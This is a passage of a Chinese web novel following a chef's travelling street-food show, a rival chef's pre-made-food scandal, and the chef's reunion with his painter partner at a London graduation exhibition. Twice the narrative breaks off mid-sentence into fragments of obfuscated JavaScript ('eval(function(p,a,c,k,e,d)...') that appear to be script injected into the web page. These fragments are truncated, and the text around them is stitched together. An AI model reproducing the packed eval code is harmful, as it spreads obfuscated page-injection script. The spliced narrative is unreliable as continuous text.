一口金针菇肥牛卷咬下，鲜切牛肉顺着肌理被撕碎成一条条细丝，与长条金针菇一唱一和。 它们恋恋赖在口腔中，人类越是咀嚼，就越沉溺于鲜牛肉与菌子搭配奏出的甘醇本味。 有一瞬间她甚至觉得，连那点盐味都显得聒噪。 想要浓墨重彩的味道，还得看烤五花肉。 佐以柔软的小饼，一口上头，两口，再多吃几口就理解了洛伦佐为什么推荐她拿根小葱。 她把手伸进自己的奢牌中古小包，捧出一只食品袋里的青椒。 ——鲜嫩的，上面还挂着清洗后水珠的，生青椒。 她用手在青椒表面抹了一把，淡定地把整只青椒举到嘴边，张开嘴轻快地咬下。 无所事事只能四处乱看的排队人群，有志一同地发出表达惊诧的语气词。 这还不如生啃小葱呢吧！ 起码野葱不用吐青椒籽呢！ 很快，她就嫌弃这样一口肉、一口饼、一口青椒太麻烦。 在柄上一按，连着籽的茎干陷进青椒里，再拔出来就是一颗上好的绿色的小灯笼。 就像做酿青椒一样，她把自己买的所有烤肉都塞了进去，再用小饼勉强裹住青椒。 只要下嘴角度选得对，每一口都能吃到超值三合一。 都市隶人捧着她伪装成塔可的小饼卷青椒，接了个电话，一边表情严肃地回应，一边锲而不舍地小口吃着。 她挂掉电话，目光在队列中逡巡，向着吉安娜走来。 “你们这期推荐的另一家日料店出事了。”这位忠实观众说。 66. 我是土豆脑袋 是哪一期推荐出了问题？吉安娜焦急地刷新着后台，几乎想抓住那位观众让她直接告诉自己。 你不要再边吃烤肉边打字了！很高兴你也喜欢烤串并且有自己的见解，但是单手打字效率很低的啊！ 都市隶人也是这样想的， 她皱着眉头输入一会，干脆放下手机找了张椅子坐下，开始全神贯注地品鉴最后一点烧烤。 虽然她很喜欢也很感谢这两位博主，但眼下当务之急是吃掉烤串。 吉安娜等了半天，等到她自己都买好了烧烤，正准备尝尝摊主推荐的香菜豆腐卷，终于收到了私信。 她看着那条信息，不知道该哭还是笑。 好消息是出事的是他们刚推荐的日餐厅，还没多少人被坑，坏消息是他们才刚推荐怎么就爆雷了！ 而且是直接被人发在了视频网站，排雷视频比他们本体播放量还高。 日餐厅装修高雅，虽然菜品稍微有点超出预算，便宜的特供菜单人均价格达到了十二到十五欧，但因为味道确实不错，他们就列进了可以偶尔开小灶的名单。 谁成想，曝光日餐厅的博主在一家外贸公司工作，在整理物流单的时候，发现了发往日餐厅的加急货物。 那道同时折服了两位博主的烤鳗鱼的确不一般。 从中国的食品工厂到意大利的餐桌，鱼肉与酱汁一起在写着“蒲烧鳗鱼”密封袋同床共枕了不知多久。 它腌制了这么久，绝不是新鲜制品能媲美，根本没有不入味的理由！ 恩佐眉头紧锁，叹了口气。 预制菜这种东西，对他们的价位和受众来说并不是多么罪大恶极。 他们经常在网站评论区看到用户说，在接触到测评之前，经常是靠超市里的速冻披萨度日。 他们推荐的很多平价餐厅，尤其是连锁店，都是明晃晃的标准出品。 这家日料店，千不该万不该，打出“新锐名厨亲手制作”的标语。 吉安娜继续看视频。 博主很凑巧，碰上了粥川店主亲自来取货。 她拐弯抹角发问，粥川彬彬有礼，话里话外意思却不好听：“这么便宜的套餐，应该不会有人指望是从备料开始地由我亲自负责吧。” 网友们看看他家宣传词，百般鼓吹主厨是《美食之王》优秀选手，无话可说。 应该也不会有人想到这种节目出来的厨师会这么偷懒吧。 “所以，”恩佐叹了口气，“要撤稿吗？” 他们没吃出来鳗鱼源自成品，一来是做平价测评久了，这个赛道里很少能碰见日餐，对鳗鱼的口味不算很有概念。 二来，粥川也的确对它进行了调味上的加工。 他刀工和控火能力都很强，从套餐里的炙寿司就能看出来。 吉安娜看看证据确凿的物流单：“先隐藏吧，我们也去买一份尝尝再说……” 最让她难以接受的，是粥川的态度和隐瞒。 她实在无法理解，既然这位厨师如此高看自己的手艺，对着供货商的员工都难以隐藏傲慢，又为什么非要做这种亲民性质的廉价套餐。 “他有病！”齐新雨难得气得口无遮拦。 “不值当为这种人生气，”蒋醉余说，又实在忍不住，补上一句，“我也不喜欢他。” 齐新雨盯着视频网站上的一串投稿：“他怎么好意思的！学人精！” 粥川店长，现在我们都知道他叫粥川高梧了，在《摆摊日记》推出后，就紧随蒋醉余步伐，也开始在自己的店里搞随机菜单。 《摆摊日记》每周四中午开始新菜品的直播，粥川的店每周四晚上更新菜单。 蒋醉余买螺蛳粉，他就卖骨汤面；蒋醉余卖盒饭，他就做牛肉盖饭。连蒋醉余卖奶茶，他都要莫名其妙推出限定抹茶。 底下还有不明真相的观众，以为他们两个关系有多好，两边相似的主题是有意为之。 粥川在《美食之王》虽然在比赛中表现不错，却不知为何没攒下什么人气，节目夭折后却不如其他选手发展得好。 他没能如愿在大城市找到一份高端日料店主厨的工作，干脆回了小镇。 不少同为日裔的食评人都造访过他的店，大力推荐，但哪怕他自己拍的随机菜单视频，播放量也寥寥无几。 要不是这次爆雷，有网友特意找了他的账号，根本无人在意他。 蒋醉余一阵恶寒。 阴湿的、暗地窥伺的，如附骨之蛆，描摹着蒋醉余的一举一动。 【他真的好恨醉余。】观众们也无话可说了。 【难道就是因为醉余在餐车赛的时候反驳了他包子是中国的吗？他自我介绍的时候也没见对日本多有认同感诶。】 【有没有可能比那个更早。第一期节目里塞缪尔要求重新打分的时候，有两个人投了反对票，一个是安迪，另一个就是粥川吧。】 【看我在当地小报发现了什么！粥川的店在醉余抽奖邀请晚宴的第二天挂出标语，禁止“中国人”入内，不包括高原、西北、东南某省和某特别行政区，被投诉撤掉了。】 【我嘞个反华大点兵。】 【这时候再看他买的那箱中国蒲烧鳗鱼，事情已经抽象得有点好笑了。】 再扒下去就没意思了，蒋醉余一时间不知道该说什么。 “到底是参加过厨艺比赛的厨师，我确实没想到他会干出这种事情。” 蒋醉余再怎么不喜欢粥川，也肯定他的厨艺技术。他甚至觉得他粥川见得对国际政治有什么独到见解。 粥川对他的恨意来得蓬勃却莫名其妙。蒋醉余要求来参加自己晚宴的人支持一个中国，他就“反其道而行之”。 他在恨意和欲望里徜徉，已经完全迷失方向。 蒋醉余叹了口气：“他不尊重食客，也不尊重自己的厨师身份——无论厨艺还是日裔标签，对他来说都是实现目的的手段。” 冷心冷情，傲慢虚伪，终于在观众明灯似的目光里被看彻，空落落什么也没捞到。 “来看点好消息啦，”导演举着手机尖叫，“前两天来访问的那位大佬转了我们的视频诶！” 纵横家大佬的外网账号粉丝不少，他发表自己背后国家的立场，也经常转发一些有关国内或国人的消息。 现在点开他的主页，正好看到两段视频一上一下，封面选得很巧。 上面是蒋醉余低头望着手里的烤串，垂落的油滴刚好激起一片火红明火。 下面是齐新雨仰头介绍自己挂在墙上的画作。 网友们在这边调侃大佬叔不到深夜就放毒，在那边膜拜青年画家、感慨两种文化竟能如此相融。 蒋醉余伸出手，摸摸冰凉的屏幕。 屏幕里他和齐新雨隔着视频的边界，隔空相望。 他的手点在齐新雨脸上，那么小的视频预览页面，人像就更加渺小，他两只手指就能把小小的齐新雨提起来。 提起来，哪也不去，塞进自己口袋里。 他难得有点讨好地看着编导：“小雨要待满两周艺术展，我们下一期节目去英国吧。 “两周不见他，我会发疯的。” 大工作室旗下小作坊就这点好，人脉很足，流程很短。 “那正好，天字头报纸的记者也来联系我了，她下周就在英国，不用线上采访了。” 编导满口答应，扯着几个策划整理备用方案。 之后的几天，都只有蒋醉余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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勤洗干净表皮，包上锡纸，撒一点盐和胡椒，就这么扔进炭火堆里。 等明亮的金属色锡纸变得乌黑，再一边被烫得哈气一边颤颤巍巍撕开包装。土豆被保护得很好，懵懂地散发出来自大地淳朴的芳香。 如果感兴趣，还可以在锡纸里包上一块黄油和几瓣蒜，就成了广受好评的蒜香土豆。 抱一整只土豆，用勺子挖着吃，热气熏到脸上也绝不放手。 没抢到土豆的食客看着欧皇们呲牙咧嘴又满脸享受的表情，只能恨恨地暗自诅咒：“烫死你！” 福祸相依，恩佐就是正赶上土豆出炉的欧皇之一。 今天是他风雨无阻来吃烧烤的第三天，仍忍不住感叹：“这人也太多了。” “毕竟是《美食之王》公认的最优秀选手嘛。”旁边的游客说。 “趁着农业节，他又不像最近翻车的粥川看不起路边小吃，大家都想来尝尝他的手艺呢。” 这个名头……好耳熟。 一心只有美食的博主们搜刮记忆，瞪大眼睛：“你是说，他就是那个一周换一个国家拍《随机摆摊》的蒋醉余？” “对啊，”路人点点头，“你们吃了这么多天都没反应过来吗？他旁边做小饼的那个就是我们意大利赛区选手洛伦佐啊。” 只爱看美食纪录片不爱看真人秀真是不好意思啊。两人欲哭无泪。 恩佐回味着自己和蒋醉余的对话，突然意识到什么：“所以他跟我说这周在录节目的意思不是以后没有摄像机，是指以后他都不在这了！ “我还建议观众下周没录制了再来……他们不得撕了我啊！” 67. 老北京炸酱面 吉安娜拍的美食视频太精细，而恩佐的解说太真情实感。 以至于当他们在网站清单上删除了快闪一样的烧烤摊，仍然不断地有人在评论区发问：“我今天去之前推荐的烧烤档口，怎么是空地啊？” 是啊，我那么大一个烧烤摊，我还没吃够烤串呢，怎么就没了呢？ 恩佐不敢说话。 甚至有点想哭。 他在吃了几天之后好不容易意识到自己的真爱白月光还是最朴实的羊肉串，却忽然得知白月光即将跨海远去。 念念不忘的岂止是被视频勾引到的观众们，天知道恩佐有多想恳求那位先生留下来！ 蒋醉余和他的团队来去如风，农业集市还没关闭，他就提前结束了星期一的营业，再也没出现。 当恩佐痛苦地怀疑自己出现了烧烤戒断反应时，他已经第一时间告别洛伦佐，登上了重回英国的飞机。 这一期的拍摄地点目前仍是个秘密。 蒋醉余望着舷窗外熟悉的海岸线，露出一点笑容：齐新雨估计还以为他准备按原计划去贝尔格莱德吧。 他一下飞机，就收到齐新雨忧心忡忡的消息。 “真的要坐船去吗？塞尔维亚没有入海口，从黑山穿过去会不会有危险啊。” “你说得对，已经决定坐飞机了。”蒋醉余面不改色地回复，拿着全新的工作签证入境英国。 两张熟悉的面孔已经等候在机场外。 “没想到我还有参加你新节目的机会。”伊薇特有些感慨。 “倒不如说，如果你们一直留在英国，那我们可能是碰面最勤的。”蒋醉余玩笑道。 冲着齐新雨家在这里，他就必然会再次踏上这片阴雨连绵的土地。 他看看伊薇特的神色，关切道：“你们家猫怎么样了？” 伊薇特说：“已经没大碍了，估计马上就能带她回家了。” 按照节目组原本的计划，他们早就应该去丹麦找伊薇特。谁知她家体弱多病的小猫阿西娅又一次生了病。 拍摄《美食之王》的时候，她就专程回国把生病的猫接到自己身边，这次小猫病得更严重，伊薇特甚至不敢让她上飞机。 她费了好大劲才留在英国，好在日常生活里有瓦列里娅帮忙：她本来就是来打工的，也正是因为人在英国，才被选入了《美食之王》的补位选手。 三人说话间已离开机场，蒋醉余不假思索地给司机报了一个地点。 夏日阳光正好，他站在街头，任由形形色色的路人从摄像机前后走过，却不拦住任何一位上前提问。 “这不是泽菲尔的学校吗，醉余你在等什么？”伊薇特好奇地问，“我们要先接上他再去摆摊吗？” 蒋醉余摇摇头，认真观察来往学生：“我要找一个人。” 伊薇特似懂非懂点头：“所以你们这个节目飞行嘉宾是必须从头参与吗，我能不能等正式经营了再来干活。” 蒋醉余在心里又过了两遍自己马上的计划，冷酷无情地说：“其实我也这么觉得，不太需要你们两个。” 伊薇特气得在退赛选手群里发了一串无语表情包。 蒋醉余没看手机，终于将目光锁定在两个路过的女生身上。他伸手拦住她们：“两位同学，可以请你们随便说一个这边的地点吗？” 话音未落，导演那边传来一声警告的嗡鸣：“不许引导回答！” “好吧，”蒋醉余笑了一声，“‘这里’的意思是，伦敦的任意地点。” “没关系，就算你不扩大范围，我们一时间也想不起来什么地方，”那两个女生也笑起来，“随便说的话，那就我们学校的美术馆吧。” 蒋醉余心满意足。 一所艺术类名校的美术馆，除了日常展出之外，在每个充满别离的夏天都承担着另一项任务：承办本校学生们的毕业展。 “我就是听到她们说要去看毕业展，才决定试一试。”蒋醉余很坦荡地解释。 他在这里等了许久，就是为了等到一位准备去或刚离开美术馆的路人，来为他指定摆摊的“随机地点”。 蒋醉余忽略掉导演咬牙切齿的控诉，脚步轻快、目标明确地往美术馆走去。 顺着相当显眼的“优秀毕业生个人展厅”标语，他停下脚步，取出帽子口罩墨镜把自己严严实实包裹住，拍了拍展厅主人纤细的肩膀。 “这位小画家，请问可以讲解一下你的作品吗？”他轻声问道。 齐新雨蓦地转身。 蒋醉余把他抱个满怀。 许久未见，他只觉得自己二人连身高都相称。齐新雨比他矮不了多少，耳鬓厮磨絮絮低语v，唇角刚好抵在耳廓，每一声言语都能落在清瘦薄粉的耳中。 “小雨我错了。”蒋醉余吐出第一句话。 齐新雨对这个开头不太满意，伸出手轻轻推他。力道太浅，完全没有效果。 蒋醉余幽幽叹气：“别管你拿我当偶像缪斯还是爱人，好想让你再爱我一点。” 齐新雨试探着抽出手，摸了摸他的后脑勺。发质很硬，发尾有点扎手。 蒋先生太生疏，哥哥又太不正经，他嗫嚅半天，终于憋出一句称呼：“醉余……” 话一出口，两个人都是一愣。 蒋醉余在英国几个月，没起英文名，认识的外国友人都是“醉余”“醉余”地喊着。 那些音调七扭八拐，唯独齐新雨念出来字正腔圆，于是少了几分异国他乡的变扭。 齐新雨自己叫着也不习惯，嗓子发颤，又多了点莫名其妙的缱绻。 反而比他之前负气玩笑似的喊“哥哥”更令人……心旌摇曳。 “小雨，再叫一声好不好？” 蒋醉余精神一振，手上无意识用力，就把他抱了起来。 齐新雨双脚离了地，但没学会猫的流动性，只能一边尽力垫脚够地面，一边趴在他肩头紧紧搂住脖子。 视线没了遮挡，他就看到导演、编导、伊薇特和瓦列里娅激动地手握住彼此地手，四个人表情都活像是那副世界名画《呐喊》。 伊薇特和他招了招手，齐新雨听到她说“怪不得醉余嫌我们碍事”。 她们再往后，还有一众节目组工作人员和溜溜达达走过来围观的毕业展馆中。 “醉余！”他压着嗓子忙不迭喊，“放我下来！” 蒋醉余把他轻轻放到地上，假装什么也没发生，捉住自己脖子上的手。 “我是《摆摊日记》节目组的，”他一本正经地说，“我们这周改变规则，准备每天邀请一位路人随机点菜。” 齐新雨不明所以地点头，导演发出“我怎么不知道改制了”的声音。 蒋醉余不为所动：“我路过画展，感觉和这位同学很投缘，想问问你明天想吃什么——我什么都能做哦。” 齐新雨动了动手，没能从他手里抽出，只好 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蒋醉余这次不能开火炒菜，最多可以煮个面，已经在家备好料。 好在炸酱面和热干面对热度的要求都不高。 炸酱面用黄酱和甜面酱两种酱炒成，具体配比各家有各家的做法。 依着齐新雨和广大西方食客的口味，蒋醉余多放了些甜面酱。 炸酱，酱如其名，必不可少的是用热油将酱料炸透。 怕食客吃不惯，他用了姜粉替换姜末炝锅。土黄色粉末撒进热油，用铲子轻轻划几下，那一点姜的辛辣当即爆开。 放上肉丁炒到略有焦香，就可以加入两种酱料。 姜粉的用处直到此时才显现出来。 黄酱的豆味对一些人来说难以接受，甜面酱也被诟病有土腥味。 但当它们在热油中被炸透，又和姜味融合在一起，一切的辛辣和腥气都泯灭得无影无踪。 肉丁也随之吸饱了酱香，一口咬下去，肥肉果冻似的爆开，留在口中的是满满的肉味。 炸酱粘稠浓郁，要搭配过了水的面条。才能避免它们纠结在一起化成一坨。再搭配时令菜码，提供清爽脆嫩的口感。 冬天是切丝焯水的大白菜，菜梆和菜叶被滚水眷顾的时间切不可相同，才能保证菜梆煮成白玉似的半透明，而菜叶仍保留口感和色泽。 炸酱面是老北京民间吃食，用料不一定多么讲究，对当代人来说想要做好却并不容易。 在英国这个物产不丰全靠欧盟的岛国，夏季可选的蔬菜种类比凛冬也好不到哪去。 超市里的西芹是个差强人意的选择。蒋醉余有两个帮厨，足以把深埋表皮之下的粗硬纤维统统挑干净。 摘好菜再切成小丁，一根西芹损耗率能达到一半。 虽然并不应季，但中超新运来的毛豆同样看得人心生欢喜，一粒粒碧绿圆润，他一并买了水煮搭配。 再加上被冠以“baby”之名的嫩菠菜叶和黄瓜丝，好歹也称得上是佐料丰富了。 炸酱确认无误，蒋醉余打开热干面的配料看了一眼，旁边正在准备三明治和卷饼简餐的咖啡店员就望了过来。 她打了个喷嚏，又贪婪地吸了吸鼻子。 好香。 但好呛。 但好香。 68. 来口精神食粮 咖啡店坐落于美术馆内一角，店里原本有一小片靠近收银台的区域收拾出来，准备售卖与馆内展品相关的文创纪念品。 但现在因为商品还没到，就暂时归了《摆摊日记》节目组所有。 空地在店员随时可以看到的位置，方便随时管理，现在却成了折磨： 热干面气味复杂、层次丰富，芝麻酱的醇厚、萝卜干和卤水的咸香一股脑涌出来。 咖啡厅密封良好，不管是食物还是饮品的香气都影响不到参观者，于是这股香味只能在咖啡厅里一遍遍环绕，充斥到每个角落。 连店主颇为自得的咖喱鸡肉欧包在此之下都落了下风。 而那个被她亲手迎进门的中国人看上去还不怎么满意，嘴里说着“不够香”“不够正宗”！ 齐新雨这次回来，住在了离学校最近的一套房子，骑车过来只需要两分钟。 蒋醉余在家备了大部分料，把已经掸好的碱面取出来，也就到了美术馆开门的时间。 今天星期三，蒋醉余提前开始营业。但因为到了假期，美术馆开门又晚，守在门口等着进馆的游客和学生不少。 也有叶期这样毕业了才来游览英国的留学生。 她一年制的研究生课程结束，才得知自己一起搞同人的网友在伦敦读书，干脆趁此机会约了见面。 两个社恐在线上聊得天南海北，恨不得结为异姓姐妹，真正碰上了却尴尬得无话可讲，进个美术馆大门都要彼此礼让三轮。 “我们先去看毕业展可以吗，我好像对里面的一个展厅稍微兴趣高一点点。”网友小心谨慎地措辞。 “当然可以了，我看什么都行……”叶期话说到一半，忽然停了下来。 从咖啡馆大门前路过，热干面的香味从玻璃门缝张牙舞爪地流出来。 我一定是在美食荒漠流放太久，出现幻觉了。 她迷迷糊糊地想，不自觉地发表异议：“看展之前我们能不能先去咖啡厅看一眼啊。” 她太久没有吃到祖国的小吃了，每一处神经元都如饥似渴地捕获着熟悉的香味。 芝麻酱里加了香油，张扬的味道第一个撞进鼻腔，她甚至怀疑是不是掸面的素油也有香油参与，要不然怎么会如此浓烈。 随之而来的就是卤水里无数种香料和食材的气息，一锅新卤被牛肉和豆干煨得余味悠长，融进面里不知会有多么点睛。 叶期和朋友把咖啡馆的门推开一条缝，不约而同地爆出双语粗口。 可见人类在面对这种超出自己认知的香味时，大约是要完全丧失语言能力的。 两人对视一眼，叶期继续推门的手顿住。 朋友握住了她的手腕，用满怀信任和鼓励的眼神望着她：“我们已经是成年人了，一定能学会延迟满足的，对吗？” 后面还要逛美术馆，面摊的酱料侵略性太强，她们总不能带着这么一身香味在艺术殿堂里横冲直撞。 叶期依依不舍地回望一眼。 不是所有游客都像她们这样意志力惊人，面摊前面已经排起了队。老板同时对着两锅面条，被蒸腾的热气模糊了面容。 再见了老板，叶期强行扭过头憋气，等我逛完美术馆一定回来照顾你的生意。 她深吸一口咖啡馆外清淡的空气，甩甩头抛开雄踞思绪的面条们：“走吧，楚老师，去看展。” “如果你着急的话，我们可以看完我想看的展厅就出来吃。” 楚然拍拍她，很善解人意地说。 叶期跟着她，向一个标了泽菲尔的展厅走去。 这也是毕业展中人流量最大的地方。 如果说大厅里遍布着前来接受艺术熏陶或者打卡的游客和博主们，那么几乎所有西装革履、一看就不是普通观众的人，都径直走向了这个展厅。 又败兴而归。 “那都是想来买画的，”楚然小声科普，“我不是跟你说过我还嗑一对真人cp吗，这个就是我cp受的毕业展。” 齐新雨不缺钱，也不缺盛誉；于是每幅画都珍惜地攒在手里，连对外展出都吝啬，这次毕业展已经是他进入大学以来展出最多作品的时刻。 藏家们自以为小画家态度松动，派出代理人或亲自上阵，仍然只能在展厅里一饱眼福，至今没有一个天选之子争取到了买画机会。 来展厅的人多了，自然有好奇心旺盛的围观群众跟着来打探。一番正反馈之下，小小的展厅不得不搞起了限流。 参观限时，出来一个人才能进去一个人。 楚然站在队伍里，心向往之： “我听说这次有一幅作品，只在每天上午展出，不能拍照也不能在互联网上透露画面内容，但是我们群里有同担看完了一直在用‘啊啊啊’刷屏。” 可她嚎叫了半个小时，却坚守保密原则，一点都没给她们透露。 占据了地理优势的越想越惦记，终于决定来亲眼看看。 说话间，终于轮到了她们入场。 一幅幅色调、题材各异却明显出自同一人之手的作品映入眼帘，叶期睁大眼睛：“原来是他！我在大佬的黑叉转发见过！” 齐新雨自己的展厅并没怎么费心布置，软装硬装都和外面的毕业展如出一辙，于是更凸显出那一幅幅画作。 它们按照创作时间展览，连叶期这样自诩艺术白痴的家伙，也能看出创作者鲜明的思想转变。 同样是以人类的繁衍和生命为主题，从最初以俯视构图为主的疏离视角和不带个人情感表达或偏向冷调的色彩，到后面逐渐变得热烈。 目光自然地在展厅内转过一圈，最后便会停留在一整面墙壁上唯一的小幅油画。 也是展厅中情感表达最为丰沛的一件作品。 画面中的男人甚至没有正脸，每一抹笔触都融进了他十几年来熟稔于心的技艺，枯笔三两笔米白色就勾勒出清晨钻进窗户的朦胧光线。 他穿着睡衣，衣服还有夜间留下的折痕，大约是谁的手在肩上抓了一夜，留下清晰突兀的褶皱。 画面边缘若隐若现可见的，是短发第二人的影子。 “哇……”叶期发出没有文化的声音，趴在自己的朋友耳边小声念叨，“可以说吗，我觉得这个场景好像事后啊。” 色胆包天同人女现场脑补：“就像是那种，攻起床做早餐，受醒来之后迷迷糊糊找老攻。” 楚然倒吸一口凉气。 “老师你能不能多说两句，我会永远追随你的，”楚然说，“你知道吗，我觉得这个身材有点像我cp攻…… “我群里有个在德国留学的同担碰到过他们，给我拍了背影。可能是我太cp脑了，我真的觉得这个身材比例和感觉很像他。” 叶期也倒吸一口凉气。 好嚣张的小情侣。 应该是我在英国小镇读书太久了，见不到几个人，所以对人有点脸盲了吧，叶期想。 她总觉得墙上这幅画有点像刚才见到的那个面摊老板。 她看着楚然幸福的表情，压下心头的疑惑：“你cp有没有什么补课入坑教材，回去给我发一份吧，看起来好甜好多糖。” 楚然兴奋点头。 她找到机会要了一份齐新雨的签名，游览时间也就到了，顺着人流离开展厅。 美术馆不算小，除了这个众多院系专业齐聚一堂的超大毕业展，还有一些艺术家的临时展览和知名校友特意留给母校的常驻展览。 秉承着中国人来都来了的原则，她们在美术馆里上上下下看了一圈，连角落里装饰用的雕塑都没放过。 几十上百分钟过去，她们终于绝望地得出一个结论：自己确实不太懂艺术，比起光可鉴人但看不懂的流体状雕塑，还是更能欣赏事后油画。 再次离开展厅的时候，她们看到一个拎着纸袋匆匆走来的男人。 两个女生和他擦肩而过，影影绰绰闻到了那一身中餐香气。也不知道他在咖啡厅坐着吃了多久，几乎已经被腌入味了。 “你看这个人，肯定就是没忍住先吃了面，”楚然说，忽然有点担心起来，“这才中午，等我们出去应该不会售罄吧。” 叶期心不在焉点头，又摇摇头。 她扭扭脖子用余光追随男人的身影，长出一口气。她看这个人也像画里的人，所以果然是她在“乡下”待太久已经不会认人了吧。 她放下心来，跟着楚然出了毕业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们学校的艺术馆从来都是开放给所有人的，如果您不认同这一点，还是请去大英博物馆吧。我想它的理念会更适合你的。” 他眼角挤出笑纹，有了一点老顽童气息。 楚然看着他，突然有点恍惚。 她怎么觉得，如果这位换一件五颜六色的波点衬衫，再在自己的白胡子上系一个小蝴蝶结……就是她cp受泽菲尔的那个传说中“为老不尊”的院长老师、当代知名画家雅各布啊！ 早在齐新雨读书的时候，院长就强行分享过蒋醉余带给他的饭。 咖啡馆从建造的第一天起就设计了完整的换气密封系统，毕竟咖啡厅老板的拿手菜咖喱欧包也不是什么味道很轻的东西。 在这样的地方加一个一周的中餐“快闪”，简直不要太酷啊！ 试尝过节目组带来的餐品之后，学校议会的所有老师都投了赞成票。 雅各布老师今天特意找了一身没穿过的黑白灰，就是为了偷偷再来吃一碗面条。 雨衣男子又坚持嗫嚅了几句“我有言论自由”“你们配不上泽菲尔这样的学生”之类的话，终于落荒而逃，咖啡厅内一时充满了欢乐的空气。 楚然在他路过自己身边的时候狠狠地瞪了一眼，小声道：“小齐来了也只会骂你，人民群众喜闻乐见，你算老几？” 男人嘴里还嘀咕着“亵渎艺术的罪人”，也没听懂她用中文骂出来的话，裹紧自己的小雨衣怒气冲冲地走了。 单方面输出果然很爽， 楚然欣赏完了整场闹剧，这才起了闲心观察咖啡馆。 现场人不少，等排到她和叶期，估计老板也就回来了。 面摊不是小摊，而是一辆停进室内了的小餐车。餐车前面还有两三个机位的摄像头，上面印着《摆摊日记》节目组清晰的标志。 ……《摆摊日记》？ 楚然掏出手机，手忙脚乱地点开自己关注的直播间，看到与眼前一模一样的场景。 弹幕上，调侃的复制党正尽职尽责、津津有味地刷屏： 【有人拎着个纸袋子就出去给老婆送午餐，是谁我不说^.^】 69. 热干碱水面包 在导演目瞪口呆地凝视下，蒋醉余摆摊到一半，手机闹铃突然响了起来。 他不假思索地从餐车里掏出一个双层保温饭盒，把炸酱面和热干面各装了一半，塞进不起眼的牛皮纸袋里。 他装得相当谨慎，几乎拿出了当初在《美食之王》摆盘的耐心，用长长的筷子把面条一卷，在饭盒里盘成蜂窝或蚕蛹似的两卷。 炸酱面的菜码也很有讲究，多放毛豆和芹菜丁，少放菠菜叶。 热干面里的炸黄豆和萝卜丁都不要太多，但可以额外加半勺芝麻酱。 准备卤水时炖进去增添香味的“非卖品”豆干和牛肉，也都成为了饭盒众多配菜里的一员。 一切收拾停当，厨具就被塞到了伊薇特手里。 “原来你非要让我记熟这两种面的组合配比是为了这个。”伊薇特喃喃道。 蒋醉余不理她，已经脚步轻快地向毕业展入口走去。 嘉宾朋友们都这么熟了，当然是用来坑的。 难得有机会离齐新雨所在的地方这么近，他怎么可能错过。 他带着身后眼疾手快跟上的摄影师，亮出胸前的工作证，顺利在排队人群艳羡的目光中挤进了展厅。 齐新雨仍然被不死心的画廊主理人和看画展看得心潮澎湃的观众们包围，笑眯眯地解答着一个又一个问题。 对绝大多数象牙塔中的艺术生、尤其是纯艺系这群理想主义的“疯子”来说，毕业展是他们最直接接触大众的机会，这也是学校建议所有人守在自己作品边的一个重要原因。 虽然也难免接触到一些对他题材和立意吹胡子瞪眼的保守人士。 “哦呦，泽菲尔，又有媒体来报道你啦？”和他相熟的画廊女馆长眼尖地看到蒋醉余，提醒道，“先生，那幅画是不能照的哦。” 蒋醉余沿着保守人士的视线，正好看见独自挂在空墙上的油画。 昨天他们下午才来，这幅画已经被撤掉。 齐新雨更是在过去一周多的时间里对此只字不提，蒋醉余一直以为那里真的就是一面毫无展陈的留白。 摄影师很懂得挑重点，闻言转过镜头，自己向墙边后撤两步，正好把两位嘉宾框进了同一画面。 你在堂前看油画，画画的人在身后看你。这个镜头一定能选入下一期的名场面。 摄影师给自己点头，把对焦选中齐新雨。 人原来真的可以一瞬间变色这么多。 他眼看着齐新雨整个人红成一颗小番茄；也或许像是在热干面的辣油里泡了一遭，因为他看上去比小番茄有活力得多。 齐新雨顾不上礼节，满口“sorry”“excuse me”地拨开人群，轻手轻脚地走到蒋醉余身后。 蒋醉余看得很专注，他整个人就凑了上来。 手上动作倒小心翼翼。 齐新雨两只手一起握住他的手，哼哼唧唧地先发制人：“你怎么不告诉我一声就跑过来了呀。” “洛伦佐和我说，情侣之间需要一点惊喜。我也没什么会做的，只能近水楼台来给你送饭了。” 蒋醉余背对着他，尽量让自己不去关注他脸有多红。小猫尴尬的时候总会假装自己很忙，可不能把人吓跑了。 他想了想，仍是忍不住补充道：“我觉得他的建议很对，要不是今天中午来了，我还想不到小齐给我准备了这么大一个惊喜呢。” 国内那位大佬来参观画展，还和齐新雨“亲切交谈”，肯定是见过这幅画的，结果他还在大佬面前说…… 饶是镇定如蒋醉余，也免不了开始回想大佬当时有没有什么微表情。 “你不许说了，”齐新雨慌得开始口是心非，姗姗来迟地指责，“你们怎么不按计划去塞尔维亚嘛。” 要是早知道蒋醉余会杀个回马枪重回英国，他说什么也不会答应导师把这幅画也挂上来的！ 这幅油画是蒋醉余住进他家之后画的，全程在导师的私人画室里完成，画完就送回了另一套房子，确保模特和作品不会产生任何交集。 躲躲藏藏几个月，终于还是被蒋醉余迎面撞上——而且是在这样的场合。 暗恋期间脑补的场景被对象看见了，怎么办，急，在线等。 在导师的撺掇和他自己的私心下，这副官宣似的作品被堂而皇之挂在了毕业展的墙上。 射灯配合玻璃画框，确保镜头里只能留下一片反光。 齐新雨口不择言：“我没有逼着蒋先生承认我们关系的意思，我就是随便画画……” “宝宝，我的意思是，”蒋醉余回身，“谢谢你愿意把我画进你的世界……还有你的未来。” 这幅画太静谧、太隽永了，情愫直白得像在画框上绑了个循环播放的大喇叭，每个人看到它都会露出会心的笑容。 画展一周以来，齐新雨不知道听到了多少句来自观众的“祝你们幸福”。 他窃喜，又提心吊胆。 可是蒋醉余说：“小雨，谢谢你爱我。” 从来在社交焦点的小画家，第一次发现自己好像有点嘴笨。 他愣了半天，相熟的馆长精确读懂气氛，开始领着一群人来疯的艺术家喊“亲一个”。 齐新雨终于想起来身边还有一群观众，他已经连着两天被人群和镜头围观谈恋爱。 小红番茄这下红成了樱桃，咬咬腮肉该换话题：“不是说送饭吗，我的饭呢！” 小猫被绑架到新家两周半，终于放心地在纸盒子里打了个滚。 